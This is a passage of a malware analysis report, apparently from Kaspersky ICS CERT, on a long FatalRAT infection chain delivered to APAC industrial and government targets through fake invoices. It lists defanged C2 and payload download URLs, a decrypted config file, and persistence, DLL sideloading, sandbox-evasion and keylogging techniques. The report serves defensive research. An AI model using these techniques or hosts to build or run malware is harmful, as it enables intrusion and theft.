Backdoor delivered via an overly long infection chain to Chinese-speaking targets

Executive summary

A Kaspersky ICS CERT investigation uncovered a cyberthreat specifically targeting various industrial organizations in the Asia-Pacific region. The threat was orchestrated by attackers using legitimate Chinese cloud content delivery network (CDN) myqcloud and the Youdao Cloud Notes service as part of their attack infrastructure. The attackers employed a sophisticated multi-stage payload delivery framework to ensure evasion of detection. Their techniques included the use of a native file hosting CDN, publicly available packers for sample encryption, dynamic changes in command and control (C2) addresses, a CDN hosting the payload, and the use of DLL sideloading.

While examining the code of the malicious artifacts, we noticed similarities to workflows observed in previous campaigns orchestrated by threat actors using open-source remote access Trojans (RATs) such as Gh0st RAT, SimayRAT, Zegost, and FatalRAT. However, this campaign demonstrated a notable shift in tactics, techniques, and procedures specifically tailored to Chinese-speaking targets.

For more information, please contact: ics-cert@kaspersky.com

Technical details

Background

Youdao is a Chinese search engine and Youdao Cloud Notes, formerly known as Dao Notes, is an online database designed for individuals and teams, launched on June 28, 2011. Its versatile support spans multiple platforms, including client applications for personal computers (Windows and Mac), mobile (Android and IOS), and web. Thanks to its user-friendly interface and extensive multi-platform compatibility, it has garnered significant attention from Chinese-speaking threat actors, who are increasingly utilizing it for malicious purposes.

To investigate this trend further, we conducted a search to identify all web pages associated with Youdao Cloud Notes that have recently been reported for suspicious activity. Our findings indicate that a significant number of threat actors were actively leveraging this service for their malicious activities.

However, one intriguing case stood out because of an excessively long delivery framework, dynamic alterations of subsequent payloads, extensive infrastructure, and the use of a legitimate binary’s function to spawn a child process.

Initial infection

Kaspersky ICS CERT experts received information about a phishing campaign targeting government agencies and industrial organizations in the Asia-Pacific region (Taiwan, Malaysia, China, Japan, Thailand, Hong Kong, South Korea, Singapore, the Philippines, Vietnam, etc.). In the course of our subsequent research, we found that as a result of a complex multi-stage malware installation procedure, a backdoor class of malware, FatalRAT, is introduced into the system. Unlike another series of attacks described in an ESET report, the infection vector was not fake websites, but zip archives delivered via email, WeChat and Telegram.

The zip archives were disguised as invoices or legitimate tax filing applications for Chinese-speaking individuals and contained the FatalRAT first-stage loader packed using AsProtect, UPX or NSPack to make detection and analysis more difficult. Here are some examples of file names:

In this section we will look at the malware installation process, which, as we said, is complex and involves multiple steps. The installation sequence is shown below:

First-stage loader

While analyzing our telemetry data, we discovered that various first-stage loaders were being delivered as initial access methods to deploy FatalRAT samples to Chinese-speaking targets.

The loaders we encountered are typically packed using UPX, AsPacker, or NSPack, and are unpacked at runtime. The unpacked loader is then compiled using Microsoft Visual C/C++ 2010. We were also able to clearly observe the presence of debug information in its string references, providing valuable insight into the threat actor’s environment:

K:\C++2010\DLLrun\DLLrunYoudao\Release\DLLrunYoudao.pdb

Upon execution, the first-stage loader makes an HTTP request to Youdao Cloud Notes to download a dynamically updated list of links to configurators (Before.dll) and second-stage loaders (Fangao.dll), for example:

http://note.youdao[.]com/yws/api/note/4b2eead06fc72ee2763ef1f653cdc4ae

The Youdao Cloud Notes returns a JSON response. The first few lines contain information about the note creation and modification time, file name, size, followed by the next staged cloud storage location. The note structure was also described in the K7 Security Labs report on the Sneaky SiMay RAT.

The first-stage loader parses the custom note structure and picks the first links to the configurator (Before.dll) and the second-stage loader (Fangao.dll). If the first links don’t work, the next ones will be selected.

Once downloaded, Fangao.dll and Before.dll will be loaded and executed by the first-stage loader.

Configurator (Before.dll)

This DLL has an export named Before and a PDB path with Chinese characters:

K:\C++\梵高远程管理客户端二号\Release\BEFORE.pdb

The project name from the path could be translated as “Van Gogh Remote Management Client No. 2”.

Important note: this malware module, as well as the final payload, requires configuration information to operate. During our research, we discovered several variants of Before.dll: with hardcoded configuration information, with dynamically updated configuration information and samples that combine static and dynamic approaches. Let’s consider the last option as the most complete.

The malware downloads the contents of another note from note.youdao[.]com to obtain configuration information, for example:

http[:]//note.youdao[.]com/yws/api/note/1eaac14f58d9eff03cf8b0c76dcce913

This note contains a JSON with three types of URLs: submit, dll and online. If the note is unavailable for some reason, for example, the URL is invalid,Before.dll will use the configuration information specified in its code.

The value of each parameter is encrypted using xor with key 0x58 and written to the configuration file C:\Users\Public\vanconfig.ini. Here is an example of the encrypted contents of the FatalRAT configuration file:

[data]
submit=0,,(bwwihivkkvjlkvkib`j
dll=0,,(bwwiiuiki`njjhmav;7+v9(u696216?v5!);47-<v;75w   v<44
belong=jn
online=ivijvkoviikb`h`i

And the decrypted version of this file:

[data]
submit=http://101.33.243[.]31:82
dll=http://11-1318622059.cos.ap-nanjing.myqcloud[.]com/xxx.dll
belong=26
online=1.12.37[.]113:8081

As you can see in the Figure 4, the note has several sets of settings, most often several dozen at once. The malicious program checks the availability of the URL starting from the first block of settings and selects the first block that is functioning to save in the configuration file. The belong parameter refers to the block number in the note content that worked for this particular malware run attempt and can potentially allow the actors to track which of the URLs have already been blocked by security solutions. Before.dll also generates a six-character random value that is used as a victim ID. The generated value is saved in the C:\Users\Public\history.txt file.

After that, the configurator extracts a text document into a directory with Before.dll, the text document itself receives the same name as the malware DLL file, but with the extension .txt. Once created, the following text is written to the file:

The document is a fake invoice that is opened by the malware to distract the user.

Note:

• The contents of both custom Youdao Notes are updated on a regular basis. However, at the time of writing the page is no longer active.
• During our research we observed some of the servers mentioned above communicating with another malicious executable. We speculate that the same IP address may be used for different malicious campaigns.

Before.dll then collects the name and Windows version of the infected system and sends this information to the attacker’s server (as configured by the submit parameter provided in the note) in HTTP GET request parameters, for example:

http://101.33.243[.]31:82/initialsubmission?windows_version=17134&computer_name=MYTEST:DESKTOP-CROB74D

Second-stage loader (Fangao.dll)

This DLL has one export named Fangao and a PDB path with Chinese characters:

K:\C++\梵高远程管理客户端二号\Release\FANGAO.pdb

The project folder name is the same as that for Before.dll, and we believe that this second-stage loader was compiled with the configurator module.

This module uses a configuration file C:\Users\Public\vanconfig.ini prepared by Before.dll.

Fangao.dll reads the submit URL parameter from the configuration file and, like Before.dll, sends information about the infected system to the server: network name and operating system version. The page name initialsubmission is appended to the server address.

After that, the malware performs a number of preparatory actions: it checks internet connections by attempting to connect to the Chinese search engine Baidu.com, sets the hidden and system attributes to its executable file, and also creates a mutex with the name UniqueMutexName.

Next, the configuration file prepared by the Before.dll module is used again, but now the dll parameter is used. Fangao.dll downloads the FatalRAT payload (dll.dll, for example, bcec6b78adb3cf966fab9025dacb0f05), decrypts it using a seven-byte xor key specific to each loader sample (for example, 0xE8, 0xF4, 0x13, 0x2F, 0xE2, 0xBF, 0x6B) and runs FatalRAT.

Interestingly, to distract the user’s attention, this module displays a window with a message about an alleged error in the program, apparently so that the user does not wonder why he did not see the window of the legitimate program he was running.

The message is displayed via a standard modal dialog window and contains a few typos that highlight the level of inaccuracy and ignorance demonstrated by the actors.

The malware conducts a series of checks to determine whether it is necessary to activate destructive activity on a given system, each check having its own identifier (name):

If any of the checks fail, the malware makes an HTTP GET request to the page <submitURL>/submiterror?id=&error_id=<conditionName>, where <submitURL> is the submit server address taken from the configuration file and <conditionName> is the name of the condition that was failed. The malicious program then specifically generates an exception and crashes.

If the checks are passed, Fangao.dll begins the process of unpacking the resources it contains. The unpacker utility (unrar.dll) is saved from resource 103 in the directory with the executable file of the malicious program, and its file is assigned the hidden and system attributes. The malware also creates two new folders: C:\ProgramData\KnGoe and C:\ProgramData\8877.

The resource with the name 101 is extracted and saved to the file C:\ProgramData\KnGoe\PO520.rar, the resource with the name 102 is extracted and saved to the file C:\ProgramData\KnGoe\QD.rar and the resource with the name 104 is extracted and saved to the file C:\ProgramData\KnGoe\MMC.rar.

Once the archives are saved, Fangao.dll begins to extract files from them using unrar.dll mentioned above and the password by2022. Below we provide detailed information about the unpacked files:

After unpacking, the archives are deleted and the malicious program searches for instances of the mmc.exe process among running programs and terminates them.

The malicious program checks for the existence of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logon, which is not present in the operating system by default, but is created if group policies specify scripts to execute when a user logs on to the system. If the registry key exists, the malware assumes that persistence has already been established and exits – the legitimate cases where this approach is used to launch scripts at user logon are ignored by the actors (probably considered to be rare).

If the registry key does not exist, the malware attempts to create a persistence mechanism by simulating GUI operations (described below) with the help of the policy editor UI they brought. This approach means the actors don’t have to mess with the UAC bypass – they get the rights they need by executing the legitimate and signed DriverUtility tool (described later).

Using Windows Explorer, Fangao.dll opens the C:\ProgramData\8877 directory where the Chinese version of the Group Policy Editor toolkit was previously unpacked. The opened Windows Explorer window is immediately hidden by a separate thread, and the malware sends messages to the hidden Windows Explorer window to emulate left clicks of the mouse, thus the malicious program launches the Group Policy Editor, simulating user actions via the GUI.

The window of the running Group Policy Editor is also hidden (using the SetWindowPos and EnableWindow API functions), after which the malicious program begins “navigating” inside the window. First, it selects the navigation panel on the left (highlighted in blue in Figure 8).

Next, the malware interacts with the window by searching for the necessary elements by window class name and sending messages to it with WM_KEYDOWN and WM_KEYUP codes to simulate keystrokes. Using this GUI interaction approach, Fangao.dll manages to navigate to the User Configuration à Windows Settings à Scripts (Logon/Logoff) section (Figure 8 – step 1), and create a group policy in the Logon subsection (Figure 8 – steps 2, 3) pointing to the PureCodec application exploited in the attack (C:\ProgramData\KnGoe\0user.exe).

This is how the second-stage loader ensures automatic launch of malware after user login by creating a new group policy user logon script and specifying the path to the legitimate PureCodec application file as the program to execute (its use in the attack is described in the next section).

To make sure that the autorun procedure is successful, the malicious program checks once again whether the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logon is present in the system, and if it is missing, the error “RegRunError” is sent to the standard output stream (stdout).

This completes the malware installation procedure and Fangao.dll launches C:\ProgramData\KnGoe\0user.exe and then terminates.

Malware workflow

In this section we will look at the operating algorithm of the installed malware, which is also of particular interest. The threat actor uses a black and white method where the actor leverages the functionality of legitimate binaries to make the chain of events look like normal activity. The attackers also used a DLL sideloading technique to hide the persistence of the malware in legitimate process memory. The malware launch sequence is shown below:

Exploitation of PureCodec (0user.exe)

0user.exe is legitimate software. Its original name is PurePlayer.exe. The binary is part of the legitimate installer of PureCodec software that is distributed via various Chinese software distribution sites.

The legitimate 0user.exe binary would, under normal circumstances, load the update.ini configuration file and run the binary specified as the path parameter in the update.ini file by performing the ShellExecuteExA Windows API call. PotPlayer.exe in a legitimate use case.

In this case, the threat actor manipulates the contents of update.ini to execute the next staged process: YX.vbs.

Malicious scripts: YX.vbs and user.bat

YX.vbs started by 0user.exe (PureCodec app) runs user.bat using wscript.shell.

Then user.bat performs the following:

1. Creates a new C:\user0 directory
2. Removes the C:\test directory
3. Checks if user0.exe is already running, and if so, kills it using taskill.exe
4. Checks if the file C:\ProgramData\KnGoe\w.dll exists; if it does, it adds the MZ header stored in C:\ProgramData\KnGoe\t.ini to it as well as to three other files (C:\ProgramData\KnGoe\e.dll, C:\ProgramData\KnGoe\r.dll, C:\ProgramData\KnGoe\t.dll) and saves them to the C:\user0 folder under the respective file names:

5. Sets the following attributes to C:\user0 folder: read only, system, hidden and archived.
6. Pings 127.0.0.1 (used to pause script execution).
7. Runs C:\user0\acvb.exe (DriverAssistant tool).
8. Pings 127.0.0.1 (used to pause script execution).
9. Sets the following attributes to all files in the C:\test folder: read only, system, hidden and archived.
10. Retrieves the list of running processes using tasklist and finds the process running acvb.exe using findstr. If the process is not found, it returns to step 4.
11. Sets the following attributes to C:\ProgramData\KnGoe\YX.vbs: read only, system, hidden and archived.
12. Sets the following attributes to files in the C:\user0 folder: read only, system, hidden and archived.

It is worth noting that the script contains one commented out line:

::@del “C:\user0\svchoet.exe” /AR /AH /AS /AA 2>nul

It is clear that the file C:\user0\svchoet.exe is attempting to masquerade as a system file and is most likely part of the attack being investigated, but during our research we were unable to find any other traces of this file being used.

It is also clear that the level of sophistication of the .bat file developer is low, as three of the four initial checks would never run, and the script may run an obvious infinite loop in some of the possible deployment cases.

Exploitation of DriverAssistant (acvb.exe)

The acvb.exe binary is the DriverAssistant utility from a Chinese developer that helps install drivers on the machine. The threat actor leverages acvb.exe, which is vulnerable to DLL sideloading. Launching DriverAssistant requires administrator rights and, if not launched as a service, results in the UAC window being displayed. The three highlighted libraries contain helper functions necessary for DriverAssistant, so these libraries are dropped to the disk. Threat actors opt to substitute any of the legitimate DLLs with a malicious DLL instead. During our research, we saw cases of DLL sideloading of other libraries from these three, highlighting the flexibility of the attacker in their choice of DLL replacement.

In this case, DriverAssistant (acvb.exe) loads wke.dll, which was previously extracted from Fangao.dll resources with the name t.dll, and calls its exported function wkeInit.

Third-stage loader (wke.dll)

This DLL also contains debug information in its string references:

K:\C++\DLL反射注入器四件套二号\Release\DLL运行器DLL版(wke.dll).pdb

This PDB path could be translated as “ K:\C++\DLLReflective injector four-piece set No. 2\Release\DLLrunnerDLLVersion(wke.dll).pdb “.

wke.dll is packed using ASPacker, with a large number of null bytes appended to the end of the file to increase its size and make it bloated. It is unpacked in memory at runtime.

When the DriverAssistant app loads this DLL and calls the exported wkeInit function, the malware code makes an HTTP GET request to a hardcoded URL, for example:

http://mytodesktest-1257538800.cos.ap-nanjing.myqcloud[.]com/DLL.dll

DLL.dll is a FatalRAT payload described in the next section. The loaded library is not saved on disk, but is decrypted using an xor operation and executed in memory.

Final payload – FatalRAT

Other research groups, in particular LevelBlue (formerly AT&T Security) and Antiy, described FatalRAT in detail, but Kaspersky Threat Attribution Engine (KTAE) showed only a 73–76% code match with the described versions of FatalRAT, prompting us to describe a new version of this malware.

FatalRAT performs 17 checks for an indicator that the malware executes in a virtual machine or sandbox environment, including some specific ones such as ThreatBook Cloud Sandbox.

If any of the checks fail, the malware stops executing. The malware also terminates all instances of the rundll32.exe process, which is also likely a measure to prevent malware analysis, since FatalRAT is a DLL that must be launched by malware loaders, not a system utility.

FatalRAT also blocks the ability to lock the computer by setting the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation to 1.

Also, in a separate thread, FatalRAT starts intercepting keystrokes on the keyboard, i.e., launches a keylogger. The intercepted information is written to the file C:\Windows\Fatal.key. The malware decrypts hardcoded configuration data using an algorithm identical to previous versions. However, in the case of the samples being analyzed, instead of the malware’s command and control server, the hardcoded configuration data contains the IP address of Google (8.8.8.8):

The malware then reads the online value from the C:\Users\Public\vanconfig.ini configuration file created by Before.dll and decrypts it using xor with the 0x58 key:

The server address and port from the online value of vanconfig.ini are used by FatalRAT to connect to the command and control server.

Depending on the configuration, the malicious program can automatically launch itself on the infected system using a registry key and a service. If this option is enabled, FatalRAT downloads its binary from the command and control server and saves the downloaded buffer to the path C:\Windows\nw_elf.dll and sets it as a value to the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SVP7. If a service is created, its name and description are taken from the configuration data specified in the malware code.

Next, FatalRAT collects information about the infected system and sends the collected information to the malware’s command and control server:

• External IP address (obtained using the http://www.taobao.com/help/getip.php service)
• Operating system installation time
• Operating system architecture and version
• Information about malware service/registry key
• Information about CPU
• Information about whether the user is currently idle (no input events received for more than 180,000 ticks)
• User name
• Whether the Tencent QQ messenger is running on the system (search by window class CTXOPConntion_Class)
• Information about security solutions and other software running on the system; FatalRAT searches for the following processes:

When all the data has been collected, the malware transfers it to the command and control server. The method of encrypting and decrypting traffic to the management server has not changed from the previous version of FatalRAT.

Next, the malware waits for commands to arrive from the command and control server; the commands supported by the detected version of FatalRAT are listed below:

Targets

After a thorough analysis of the malware, TTPs, infrastructure and other data associated with the attack, our investigation confirmed that the targets included government agencies and industrial enterprises associated with the following industries: manufacturing, construction, information technology, telecommunications, healthcare, power and energy, and large-scale logistics and transportation.

With few exceptions, all the attack targets are from the APAC region, primarily from Taiwan, Malaysia, China, Japan, Thailand, South Korea, Singapore, the Philippines, Vietnam, and Hong Kong.

In some cases, the attack was specifically designed to target Chinese-speaking targets by masquerading as legitimate tax filing tools.

The statistics below are based on the first-stage loaders being delivered to targets in various industries. Interestingly, some of the targets’ machines were identified as engineering workstations or automation engineers’ systems.

About the attackers

There is no clear consensus among researchers as to who is behind the attacks using FatalRAT. For example, ESET report states that they do not attribute this activity to any known group. At the same time, in one of the first papers on FatalRAT, published by TrendMicro, the researchers concluded that this series of attacks is related to the activity of the Purple Fox botnet. In the same article, the researchers provided evidence of a connection between FatalRAT and another backdoor, Gh0st RAT, which was previously leaked on GitHub.

Knowing the connection between these two backdoors, it is worth pointing out the publication of the Chinese research center Weibu. The infection chain and payload (Gh0st RAT) used in the attack described by Weibu suggest that the report describes another, perhaps earlier, series of attacks with which we can see similarities, particularly in the TTPs:

• Malware loaders were distributed using WeChat and masked as financial documents.
• Publicly available services were used to host files needed to run the malware.
• The th